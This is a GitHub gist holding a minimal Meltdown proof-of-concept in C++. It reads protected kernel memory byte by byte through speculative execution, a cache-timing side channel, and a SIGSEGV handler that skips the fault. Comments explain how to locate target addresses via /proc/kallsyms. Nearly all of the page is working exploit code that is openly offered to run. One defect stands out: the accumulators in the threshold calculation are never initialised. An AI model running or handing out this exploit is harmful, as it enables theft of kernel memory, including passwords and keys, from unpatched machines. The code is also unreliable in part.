Skip to content

Instantly share code, notes, and snippets.

@Kirill89
Created February 7, 2018 17:21
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Kirill89/4777b7f152f9c632b69d60c7b28654ea to your computer and use it in GitHub Desktop.
Save Kirill89/4777b7f152f9c632b69d60c7b28654ea to your computer and use it in GitHub Desktop.
Minimal meltdown proof of concept with comments and interesting links. [in progress]
// http://board.issociate.de/thread/508268/prockallsyms.html
// sudo grep ' D ' /proc/kallsyms
// g++ meltdown.c -std=c++11 && ./a.out ffffffff81d18564 9
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <ctype.h>
#include <math.h>
#include <sched.h>
#include <x86intrin.h>
#include <chrono>
extern char stopspeculate[];
// Try get protected memory by address. Will throw segfault, but restore on "stopspeculate" label.
//
void __attribute__((noinline)) speculate(char *probe, unsigned long addr) {
asm volatile (
"retry: \n"
"movzx (%[addr]), %%eax \n"
"shl $12, %%rax \n"
"jz retry \n"
"movzx (%[probe], %%rax, 1), %%rbx \n"
"stopspeculate: \n"
"nop \n"
:
: [probe] "r"(probe), [addr] "r"(addr)
: "rax", "rbx"
);
}
// Get access latency.
//
int measure_access_time(volatile char *addr) {
auto start = std::chrono::high_resolution_clock::now();
(void) *addr;
auto end = std::chrono::high_resolution_clock::now();
auto time = end - start;
return time.count();
}
// Increment hist if read of memory in probe array by index * cache line size too fast (less than threshold).
//
void check(char *probe, int threshold, int *hist) {
for (int i = 0; i < 256; i++) {
int time = measure_access_time(&probe[i * 4096]);
if (time <= threshold) {
hist[i]++;
}
}
}
// Get byte from protected memory by addr.
//
int readbyte(unsigned long addr, int threshold) {
char probe[256 * 4096];
memset(probe, 0, sizeof(probe));
int hist[256];
memset(hist, 0, sizeof(hist));
for (int i = 0; i < 1000; i++) {
for (int j = 0; j < 256; j++) {
_mm_clflush(&probe[j * 4096]);
}
speculate(probe, addr);
check(probe, threshold, hist);
}
int max_hist = 0;
int max_index = 0;
for (int i = 1; i < 256; i++) {
if (hist[i] > max_hist) {
max_hist = hist[i];
max_index = i;
}
}
return max_index;
}
// Calculate threshold via average access time with cache and without cache.
//
int get_cache_hit_threshold() {
const int estimate_cycles = 1000000;
long cached;
long not_cached;
char probe[4096];
memset(probe, 0, sizeof(probe));
for (int i = 0; i < estimate_cycles; i++) {
cached += measure_access_time(probe);
}
for (int i = 0; i < estimate_cycles; i++) {
_mm_clflush(probe);
not_cached += measure_access_time(probe);
}
cached /= estimate_cycles;
not_cached /= estimate_cycles;
return sqrt(cached * not_cached);
}
// Enforce process to use one core.
//
void pin_cpu0() {
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
}
// Handle segfault. Will jump to "stopspeculate" label.
//
void sigsegv(int sig, siginfo_t *siginfo, void *context) {
ucontext_t *ucontext = (ucontext_t *) context;
ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long) stopspeculate;
return;
}
// Set segfault handler.
//
void set_signal() {
struct sigaction act;
act.sa_sigaction = sigsegv;
act.sa_flags = SA_SIGINFO;
sigaction(
SIGSEGV, // Invalid memory access (segmentation fault).
&act,
NULL
);
}
int main(int argc, char *argv[]) {
if (argc < 3) {
return 1;
}
pin_cpu0();
set_signal();
unsigned long addr;
int size;
sscanf(argv[1], "%lx", &addr);
sscanf(argv[2], "%d", &size);
int threshold = get_cache_hit_threshold();
for (int i = 0; i < size; i++) {
int ret = readbyte(addr + i, threshold);
printf("%lx\t", addr + i);
printf("0x%x\t", ret);
printf("[%c]\n", isprint(ret) ? ret : ' ');
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment